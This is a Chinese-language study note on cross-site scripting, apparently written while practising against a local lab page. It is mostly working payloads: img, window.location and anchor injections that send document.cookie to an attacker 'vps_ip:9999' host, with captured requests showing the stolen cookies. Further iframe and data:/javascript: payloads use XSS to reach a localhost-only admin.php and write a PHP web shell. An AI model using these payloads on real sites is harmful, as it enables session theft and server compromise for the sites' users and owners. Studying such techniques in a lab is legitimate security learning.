需要掌握的基础知识点

document.cookie 用户cookie

navigator.userAgent 识别用户浏览器

btoa为js中的base64编码,atob为解码

1
2
3
4
btoa('adsda')
"YWRzZGE="
atob("YWRzZGE=")
"adsda"

盲打

no.1 可以获取想要的数据 伪造cookie等等

no.2 如果后台有限制ip为127.0.0.1才能访问的文件,可以用xss打一个ssrf 比如这样

document.createElement(“img”)

img.src=”http://127.0.0.1/admin.php?file=shell&date=phpinfo"

创建标签

document.createElement(“img”) 创建一个img标签

img.src=”http://vps_ip:9999/给标签的src属性赋值

创建一个标签,然后给这个标签的属性赋值,有两种方式

1
2
3
4
5
6
7
var iframe = document.createElement('iframe'); 
iframe.src=xss;
document.body.appendChild(iframe);

var iframe = document.createElement('iframe');
iframe.setAttribute('src',xss);
document.body.appendChild(iframe);

new Image 等效于 document.creatElement(“img”)

1
2
3
var myImage = new Image(100, 200);
myImage.src = 'picture.jpg';
document.body.appendChild(myImage);

<a>标签

1
<a href="http://vps_ip:9999/a?cookie="+document.cookie>点击抽奖\</a>

这样可以向外连VPS,但不能把cookie传出去 还没弄明白 。。

<img>标签

1
2
3
4
5
6
7
8
9
10
11
12
<script>var img=document.createElement("img");img.src="http://vps_ip:9999/cookie=?"+escape(document.cookie);</script>  这个可以把cookie传出来

结果
GET /cookie=?cookie%5Buser%5D%3Dadmin%3B%20user%3Dadmin HTTP/1.1
Host: 192.168.110.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.110.140/xss/Less-1/index.php?phone=%3Cscript%3Evar+img%3Ddocument.createElement%28%22img%22%29%3Bimg.src%3D%22http%3A%2F%2F192.168.110.1%3A9999%2Fcookie%3D%3F%22%2Bescape%28document.cookie%29%3B%3C%2Fscript%3E&submit=submit
DNT: 1
Connection: keep-alive

window.location

1
2
3
4
5
<script>window.location.href="http://192.168.110.1:9999?cookie="+document.cookie; </script>

结果 拿到cookie
GET /?cookie=cookie[user]=admin;%20user=admin HTTP/1.1
Host: 192.168.110.1:9999

iframe

iframe标签有特别多的地方可以利用

可以使用

on+++等属性,

还有src属性 src属性还支持data javascript等协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
date协议
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
这里还可以进行一下base64编码 后面的闭合标签有没有都行
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

js协议
<iframe src="javascript:alert(1)"></iframe>

http协议
我在后台放了一个admin.php 里面写着phpinfo
调用一下试试,这里得让admin来调用,要不然触发的是自己主机上的admin.php
我用虚拟机访问了一下paylaod,来模拟admin
可以触发phpinfo

payload1
http://192.168.110.140/xss/Less-1/index.php?phone=<iframe+src="./admin.php">&submit=submit

payload2 写全路径
http://192.168.110.140/xss/Less-1/index.php?phone=<iframe+src="http://127.0.0.1/xss/Less-1/admin.php">&submit=submit

还可以去手动创建一个iframe标签,利用document
if=document.createElement("iframe")
if.src=http://127.0.0.1/xss/Less-1/admin.php

写个shell试试

img标签

1
?phone=<script>var+img=document.createElement("img");img.src="http://192.168.110.140/xss/Less-1/admin.php?file=shell.php%26date=<?php phpinfo()?>";</script>

访问shell.php phpinfo成功执行

用iframe标签试试

1
2
3
4
5
6
?phone=<script>var+iframe=document.createElement("iframe");iframe.src="http://192.168.110.140/xss/Less-1/admin.php?file=shell.php%26date=<?php phpinfo()?>";</script>
这样打不通

需要把iframe添加到html中去
?phone=<script>var+iframe=document.createElement("iframe");iframe.src="http://192.168.110.140/xss/Less-1/admin.php?file=shell.php%26date=<?php+phpinfo()?>";document.body.appendChild(iframe);</script>&submit=submit
这样就可以

这里不是很明白为什么Img标签不用添加到html中,而iframe需要添加

1
2
这样也是可以的
?phone=<iframe+src="http://192.168.110.140/xss/Less-1/admin.php?file=shell.php%26date=<?php phpinfo()?>">&submit=submit

参考连接

https://v0w.top/2018/08/18/XSS%E6%94%BB%E5%87%BB%E6%89%8B%E6%AE%B5&%E5%9C%A8CTF%E4%B8%AD%E7%9A%84%E8%BF%90%E7%94%A8/#%E5%88%9D%E6%8E%A2XSS-Payload

http://www.guimaizi.com/archives/379